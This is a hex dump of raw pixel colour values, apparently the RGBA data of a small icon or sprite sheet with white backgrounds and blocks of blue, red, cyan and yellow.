FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFC0C0
C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFF598DC0FF3555D9FF375BDAFF375B
DAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385B
DAFF375BDAFF375ADAFF3353D9FF7499B4FF712F2DFF921A17FF901B17FF8F1C
18FF901B17FF901B17FF901B17FF901B17FF901B17FF8F1B17FF8F1B17FF8F1B
17FF8F1C18FF8F1B17FF921917FF75504EFF2D47BEFF1A45FFFF1A44FFFF1B45
FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45
FFFF1B45FFFF1A44FFFF1A45FFFF4E5EA2FF3779C1FF07FFFFFF08FEFFFF0AFA
FFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFA
FFFF0AFAFFFF0AFAFFFF09FFFFFF489AA6FF4D71B9FF1A0CC8FF1F16C9FF2019
CAFF2018CAFF2118CAFF2118CAFF2118CAFF2118CAFF2118CAFF2118CAFF2018
CAFF2017CAFF1F16C9FF1A0BC9FF698AAEFF6D2C2AFF801513FF811715FF8118
16FF811717FF811917FF811917FF811917FF811917FF811917FF811917FF8013
12FF801310FF7C1613FF811313FF724D4CFF2F3CBAFF1B2EF5FF1D30F2FF1E31
F2FF1F30F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F30
F2FF1E31F2FF1D30F2FF1B2EF8FF4D57A1FF424EB5FF3B51ECFF12D9FAFF0BF3
FEFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9
FDFF0EE9FDFF0DE9FDFF0BEFFFFF469AA6FF4A72B8FF160BC6FF1C17C9FF1D17
C8FF1D19C8FF1C19C8FF1C17C8FF1B14C8FF1B13C8FF1C19C8FF1C19C8FF1D19
C8FF1D18C8FF1A17C9FF1509C7FF698BAFFF662826FF76100FFF751110FF7714
13FF761312FF761312FF761312FF761312FF761312FF761312FF770A05FF8C3B
39FF7D4356FF81110CFF740D0BFF6E4C4CFF2E2FB2FF1B1CF0FF1E20ECFF1F20
ECFF2022ECFF2021EDFF201DF1FF2020F0FF2020F0FF201DF1FF2021EDFF2022
ECFF1F20ECFF1D1EECFF1B1DF3FF4F519CFF403FAAFF3C33E1FF4227DCFF21A2
F1FF09F9FFFF07E6FDFF08E4FDFF08E4FDFF08E4FDFF08E4FDFF07E4FDFF07E4
FDFF06E4FDFF05E4FDFF02E9FFFF4697A1FF4670B7FF1107C5FF1511C6FF1612
C8FF1713C7FF1712C7FF1917C7FF2339CAFF2A55CBFF1306C8FF1712C8FF1713
C7FF1612C8FF1610C6FF0E04C6FF678BAEFF602524FF6E0B0CFF6E0F0FFF6F0F
10FF6F110FFF6F1011FF6F1010FF6F1010FF6F1010FF720904FF63608BFF0C4A
BFFF1F6B75FF4970A8FF7B1B19FF6B4949FF2D26ADFF1B0FECFF1E10E8FF1F13
E9FF2012E9FF200CF5FF13614FFF1F15E3FF1F18DCFF145D56FF200CF4FF2012
E9FF1F13E9FF1D11E8FF1A0DEFFF4E4B97FF4131A5FF3925DDFF3D18D6FF4213
D5FF2A5BE3FF5CFDFFFF69FFFFFF69FFFFFF69FFFFFF69FFFFFF69FFFFFF69FF
FFFF68FFFFFF67FFFFFF68FFFFFF699FA7FF456FB5FF0D04C5FF120FC6FF1310
C8FF1410C8FF140CC7FF2344C8FF327BCCFF388DCBFF3560BAFF1614C6FF140F
C8FF1311C8FF120EC7FF0D01C4FF678DB0FF5F2424FF6A0909FF6B0C0CFF6C0D
0DFF6C0E0EFF6D0E0EFF6D0F0FFF6D0F0FFF6D0B0BFF75353EFF0043C1FF0946
AEFF236F05FF024799FF464488FF6A4747FF2E24ABFF1B08EBFF1E0CE7FF1E0C
E9FF1F0EE8FF220AF3FF174380FF106924FF106C1FFF193C8FFF210AF2FF200E
E8FF1F0DE9FF1D0BE7FF1A08EEFF4F4996FF3D2486FF1E99D6FF3C62DFFF0FBA
EAFF3E06BDFF4112C2FF1C0D16FF160A00FF190A09FF190A09FF190A09FF190A
09FF180A08FF160706FF130503FF4D4847FF456FB7FF1106C6FF1511C7FF1210
C7FF1611C8FF150EC7FF3994D1FF579B9AFF569494FF3BA0D4FF130BC7FF140F
C8FF1411C8FF130FC7FF0D01C4FF678CAEFF602120FF6E0A09FF6B0D0DFF6706
06FF670100FF700F07FF6D0F0EFF6E0F0FFF6A090DFF915028FFD6B800FF989D
48FF055E21FFB8AA00FFBD941EFF664748FF2F24ABFF1F0CEBFF1E0DE7FF1F0E
E9FF2110E9FF2105FDFF154A69FF174575FF164E66FF174077FF2105FDFF200F
E9FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF4328A8FF3B4A71FFBBAD9AFFA5A9
A1FF3614DAFF3F1CD7FF411DE6FF201359FF0C0D07FF0E0E0EFF0E0E0EFF0D0D
0DFF0C0C0CFF0A0A0AFF070707FF494949FF4770B7FF1308C9FF1914CAFF1914
CAFF140FC7FF1410C6FF46BAD3FF3759B6FF425BA5FF3FA7D3FF2035CAFF130D
C7FF1411C8FF130FC7FF0D01C4FF678CAEFF505CBEFF89281DFF670000FFB170
64FFCED1F9FF899BFFFF67121EFF6E0E0DFF6A090DFF8E4D2BFFC4AF0CFFCDAC
0DFF4E8172FFC2AA04FFB18D25FF664748FF2F25ABFF220EEDFF2511E9FF2411
E9FF2009EFFF13554FFF116B2EFF11652EFF11652DFF116F28FF154F5AFF2009
EFFF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF3A4BA5FF1E4C5BFF0F6367FF3584
B8FF2B6DEBFF3E13D6FF3D19DAFF180E3EFF0A0B07FF0C0C0CFF0C0C0CFF0A0A
0AFF0A0A0AFF080808FF040404FF484848FF4771B8FF1609CAFF1C16CAFF1D18
CCFF1E19CCFF1A11CAFF2747CBFF295CCBFF2C68CCFF223FC9FF1514C6FF130F
C7FF1210C7FF110DC6FF0C02C5FF678CAEFF5156ACFFCD9174FFD6D3EFFF8A8E
EFFF7A426CFF811200FF700E0BFF6C0E0EFF69080DFF8D4D2AFFC5AE06FFBDAF
4FFF345451FFB9A307FFB38E25FF664748FF3125ACFF250FEEFF2812EAFF2A14
EBFF2A15EAFF290EF6FF2504FFFF154C68FF15496EFF2202FFFF210AF3FF1E0E
E9FF1D0DE9FF1B0BE7FF1A09EEFF4F4996FF462CA3FF4010B6FF2798ECFF4512
BBFF451AD2FF5132D9FF2F2F36FF2B2C2DFF2D2C35FF2D2C35FF2D2C35FF2D2C
35FF2C2B34FF2A2932FF292931FF545458FF4771B9FF190BCBFF1E18CDFF1F1A
CDFF201BCDFF201BCDFF1E15CCFF2321CEFF2934CBFF1C11CBFF1D17CCFF1D18
CCFF1D18CCFF1D16CCFF1708CBFF698CB0FF30309EFF6A6FF1FF6465E5FF6B6C
E4FF6D73EDFF6D80FFFF7A2231FF7A1514FF761013FF985A38FFD1C522FF948D
24FF77752DFFBEB41EFFC0A43CFF674748FF3226ACFF2710EDFF2A13E9FF2C16
EBFF2D17EBFF2D17EBFF2E14F1FF273BA5FF2731B4FF2A12EEFF2A15EAFF2915
EAFF2914EAFF2A12EAFF280FF1FF504996FF452FA0FF4B23DFFF4D22D9FF481E
F0FF5E4C85FFA4AE3CFFA6AE4FFFA6AE52FFA6AE52FFA6AC51FFA5AC51FFA5AC
51FFA6AD50FFA5AD4EFFAAB04EFF7A7D5FFF4870B9FF180BCDFF1F18CEFF211A
CEFF211BCDFF211BCFFF211BCFFF221ACFFF2119CFFF211BCFFF211BCFFF211B
CEFF211ACEFF1F18CEFF1808CDFF678CB0FF31319FFF7278F3FF7274E8FF6E6D
E4FF6C70EBFF7184FFFF7B2231FF7D1513FF7D1717FF7B1519FF7B1321FF8117
20FF82161DFF7A101CFF7B0B14FF6B4949FF3225ACFF2A10EFFF2C13EBFF2E15
EBFF2F16EBFF2F17EBFF2F17EBFF2E16E7FF2E15ECFF2F17EBFF2F17EBFF2E16
EBFF2E15EBFF2B13EBFF290FF2FF504996FF452FA0FF4D23E1FF4920E7FF726E
49FF848F05FF7B8512FF7B8511FF7B8511FF7B8511FF7B8512FF7B8512FF7B85
10FF7B840FFF7A840EFF7C860AFF6B6E47FF456DBAFF1402CDFF190DCDFF1B0F
CDFF1C10CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C10
CDFF1B0FCDFF190DCDFF1200CDFF678AB0FF5257AFFFA76065FF7B73D7FFBBBF
FAFFD09680FF810800FF7A0B09FF7B1111FF7B1111FF7C1010FF7A0F0FFF7A10
10FF7A0F0FFF790D0DFF7D0909FF6A4747FF3123ADFF270BEFFF280EEBFF2A10
EBFF2C11EBFF2B11EBFF2B11EBFF2C11ECFF2C11EBFF2B11EBFF2B11EBFF2C11
EBFF2A10EBFF280EEBFF270AF2FF4E4796FF452AA8FF522DCBFF7D8513FF828C
07FF808811FF808811FF808811FF808811FF808811FF808811FF808811FF8088
11FF808810FF7D870EFF838A0AFF6B6E47FF518CBDFF5075E2FF4F79E2FF507A
E2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF507A
E2FF507AE2FF4F79E2FF4E73E1FF6D97B4FF555CB5FFA34A3CFF8C2419FF9358
70FF908BDDFFC3CEFFFF9A443FFF8D3131FF8F3333FF8D3333FF8E3333FF8E33
33FF8C3333FF8D3131FF8F3232FF765555FF3A2FB3FF4933F2FF4531EFFF4733
EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633
EFFF4733EFFF4631EFFF4732F4FF5B55A4FF584F78FF96A024FF8F972DFF9097
33FF909733FF909733FF909733FF909733FF909733FF909733FF909733FF9097
33FF909633FF8F9631FF919832FF787B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFBFC0BFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB19564FFFDCD7DFFF8C97BFFF8CA
7BFFF8C97CFFF8C97CFFF8C97BFFF7C878FFF8C97BFFF8C97CFFF8C97CFFF8C9
7CFFF8CA7BFFF8C97BFFFFD081FF9A896DFF8B6144FFC06F3FFFBB6E40FFBB6E
3FFFCC612FFF00FCFFFF06F6FFFF07F6FFFF07F6FFFF06FCFFFF10B1FBFF177D
F4FF1584F5FF1483F6FF1587FDFF4D7497FFB7BEBAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9AA19EFF314DB2FF204EFDFF224DF8FF234D
F8FF1746FEFFACACB1FFDDCB99FFD8C89BFFD8C89BFFE0CE97FF8792C4FF1A48
FCFF214DF8FF214EF8FF214FFFFF52619AFFB09568FFEBBF78FFE7BD78FFE7BD
79FFE7BD79FFE7BD7AFFE8BD79FFEED0A2FFE6BE7AFFE7BD79FFE7BD7AFFE7BD
79FFE7BD79FFE7BD78FFEDC17AFF9A896EFF8E4D3AFFB8472BFFB6492DFFB64A
2EFFC73B1BFF02EFFFFF0CE4F8FF0DE4F8FF0DE4F8FF0CEBF9FF1597EEFF1A5B
E7FF1A61E8FF1860E8FF165FEEFF4D6A99FFBBC0BDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A0FF3244AFFF233CE9FF253DE6FF263D
E6FF1A36EEFFA89E96FFD6BF79FFD1BC7CFFD1BC7CFFD8C277FF8583ADFF1D38
EDFF263EE6FF243DE6FF223BECFF515C9AFFAA9066FFE6BC79FFE2B87AFFE2BA
7BFFE2BA7BFFE2B97AFFE1B876FFFEFDFDFFEFDABCFFE1B775FFE2BA7BFFE2BA
7BFFE2BA7AFFE3B879FFE7BD7BFF97866FFF8D392FFFB82B1CFFB62C1DFFB52D
20FFC71D0BFF05E9FFFF0DE0F8FF0EDFF8FF0EDFF8FF0CE8F8FF1686EDFF1C41
E6FF1B48E7FF1A46E5FF1747ECFF4D6097FFB9BCBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA19FFF333AA9FF2427E4FF2525E0FF262A
E1FF1B28E9FFA99686FFD6BA63FFD2B667FFD2B667FFD9BC62FF857B9FFF1E2B
E8FF2531E1FF2531E1FF232EE8FF525797FFA78D66FFE3B979FFDFB77AFFDFB6
79FFDFB67BFFDFB67AFFDFB579FFDEB578FFDFB77DFFDFB679FFDFB67AFFDFB6
7AFFDFB679FFDFB579FFE5BA7AFF94856EFF8D2A26FFB8120DFFB61411FFB516
11FFC70500FF04E9FFFF0EE0FBFF0DE6FFFF0EE0FCFF0DE6F9FF1777ECFF1D2E
E3FF1C33E4FF1A31E5FF1731EAFF4E5895FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3429A6FF19C3F8FF1F91EEFF1DC1
F5FF1B29EAFFA99075FFD6B753FFD2B356FFD2B356FFD9BA50FF867395FF1F1F
E5FF2727DEFF2525DEFF2323E5FF515394FFA58C67FFE1B87AFFDFB479FFDDB4
77FFDDB174FFDEB57CFFDEB57CFFDEB57BFFDEB57BFFDEB57CFFDEB479FFDCB2
75FFDEB479FFDFB47AFFE4B87BFF92846EFF8D2424FFB90809FFB50B0CFFB70D
0DFFC60000FF06EAFFFF0EC7E9FF1F647CFF0DB3D4FF0EE5F7FF1871EBFF1D24
E3FF1C2AE5FF1A28E3FF1728EAFF4E5394FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3426A3FF1BB0F6FF1BBFF4FF1CD4
F6FF1B20E7FFA98E70FFD6B64CFFD2B24FFFD2B24FFFD9B949FF867090FF1F1A
E5FF2722DDFF2520DEFF231EE3FF515092FFA58D68FFE2BA80FFDDB376FFECD5
B6FFF1E0CAFFDDB275FFDFB67CFFDFB67CFFDFB67CFFDEB479FFE3C091FFF6EF
E2FFDFB983FFDEB478FFE4B87BFF92846EFF8E2424FFBB0C0CFFB60D0DFFB60E
0EFFC60000FF04F0FFFF1D7077FF4D8B69FF49645CFF0AE1F4FF1873ECFF1D25
E3FF1C2CE5FF1A2AE5FF1729EAFF4E5494FFC2C4BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF3528A5FF1DC3F8FF2276E9FF1EB8
F2FF1B25EAFFA98F71FFD6B64CFFD2B351FFD2B351FFD9B94AFF867190FF1F1B
E5FF2723DEFF2521DEFF231EE3FF515093FFA68E6AFFE3BB83FFDEB67DFFE9D0
ACFFEFDCC2FFDDB275FFDEB57BFFDFB67CFFDFB67CFFDEB479FFE3BF90FFF4E6
D5FFDEB479FFDFB479FFE4B87BFF92846EFF8E2525FFBC0E0EFFBA1111FFB811
11FFC70000FF03F1FFFF236B84FF1D64C4FF2C4680FF0CDDECFF1873EDFF1D25
E3FF1C2CE5FF1A2AE5FF1728EAFF4E5494FF2F209BFF200AD0FF230CCEFF200C
CDFF1D08CCFF1C07CAFF1C08CBFF1C08CBFF1C08CBFF1C08CBFF1C08CBFF1D09
CBFF1B06CBFF1B05CBFF1700D0FF4E478CFF3532A5FF2B26E3FF24B1F3FF2A41
E2FF1B16E6FFA88F70FFD6B64CFFD2B350FFD2B351FFD9B94AFF867190FF1F1B
E5FF2723DEFF2521DEFF231EE3FF515093FFA68D6BFFE4BD86FFE1BB86FFDFBA
83FFDFB882FFDFBA84FFE0B780FFDEB479FFDEB479FFDEB57AFFDDB479FFDCB1
74FFDEB579FFDEB378FFE4B97BFF93846FFF8E2525FFBE0F0FFFBC1212FFBC14
14FFCD0200FF0AF0FFFF15A6BCFF1B8DA0FF14A6BAFF0DE7FAFF1771EBFF1C24
E3FF1A2AE4FF1828E3FF1729EAFF4E5494FF3D2F9EFF3922D7FF3B26D5FF3C28
D5FF3C28D5FF3926D2FF3521D1FF311DD0FF301DD0FF301DD0FF301DD0FF2F1C
D0FF2F1BD0FF2D19CFFF2D18D5FF564E8DFF3633A5FF2F1DE1FF27BBF3FF3333
E0FF2823E9FFAE9678FFD7B850FFD1B150FFD1B24FFFD9B949FF85708FFF1D1A
E5FF2521DDFF231FDDFF241EE4FF515092FFA68E6BFFE6BF8AFFE2BD87FFE2BC
89FFE2BD89FFE2BD89FFE1BC87FFE2BF8CFFE3BF8FFFE0BA84FFE1BB86FFE1BB
86FFE0BB86FFE2BC87FFE7C28AFF938570FF8E2626FFC01010FFBC1313FFBE16
16FFCF0402FF0DECFFFF16E6FFFF16E6FFFF15E4FDFF13E9F9FF1F79EDFF2630
E6FF2637E7FF2537E7FF2539ECFF4F5494FF3F309EFF3C26D8FF3E28D6FF3F2A
D6FF3F2BD6FF3F2BD6FF3F2BD6FF3F2CD6FF3E2AD5FF3C28D5FF3B28D3FF3B27
D3FF3C27D5FF3C26D5FF3E26DBFF564F8FFF3734A6FF3227E4FF2F6BE9FF3529
DFFF2A27EAFFB19A7DFFDABD5AFFD6BA5EFFD6B95DFFDCBE55FF8C7897FF2925
E6FF322EDFFF322DE1FF342DE8FF535093FFA68E6BFFE5C18BFFE3BD8BFFE3BF
8BFFE3BF8BFFE3BE8AFFE2BD89FFFFFFFFFFEFDFC5FFE1BC86FFE3BF8BFFE3BF
8BFFE3BF8BFFE3BE8AFFE8C48DFF938470FF902525FFC11010FFBF1313FFBE15
15FFD00200FF0DECFFFF16E0F8FF17E0F7FF17E0F7FF15E9F8FF237DEEFF2C37
E7FF2A3CE8FF283AE6FF253AEDFF4E5594FF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF3835A6FF342FE4FF362AE1FF3732
E2FF2B29EBFFB19C81FFDBBF5DFFD7BC61FFD7BC61FFDEC25BFF907D9BFF2E2C
E8FF3732E2FF3530E2FF352EE7FF535093FFA78F6BFFE7C38DFFE3BF8BFFE3BF
8BFFE3BF8CFFE3BF8CFFE2BD89FFE9CCA3FFE1BA85FFE3BF8CFFE3BF8CFFE3BF
8CFFE3BF8BFFE3BF8CFFEAC58EFF92836FFF8F2323FFC20B0BFFC00E0EFFC010
10FFD10000FF07EEFFFF10E0FAFF11E0F9FF11E0F9FF0FE9FAFF1E7DEFFF2834
E7FF263BE8FF243AE8FF2339EFFF4D5293FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF3633A7FF332DE6FF352DE2FF3630
E2FF2A27ECFFB19B82FFDCBF5DFFD8BC60FFD8BC60FFDFC25AFF907C9CFF2D28
EAFF3630E2FF342EE2FF332DE9FF525092FFAD9671FFEACA9DFFE6C799FFE8C8
99FFE8C89AFFE8C89AFFE8C89AFFE7C797FFE8C89AFFE8C89AFFE8C89AFFE8C8
9AFFE8C899FFE6C799FFECCB9BFFA2937CFF962F2FFFCC3333FFC83131FFC833
33FFD8211FFF2AF2FFFF33E6FDFF33E6FCFF33E6FCFF32EEFEFF3E90F3FF454E
EDFF4354EDFF4353EDFF4455F1FF5B60A3FF453AA5FF5B47DFFF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5844DDFF5945E1FF615B9CFF403DACFF514CEAFF4F4AE7FF504B
E7FF4642F0FFBCA891FFE1C970FFDEC573FFDEC573FFE4CB6FFF9E8FA9FF4944
EEFF504BE7FF4E4AE7FF4F4AECFF5F5DA0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
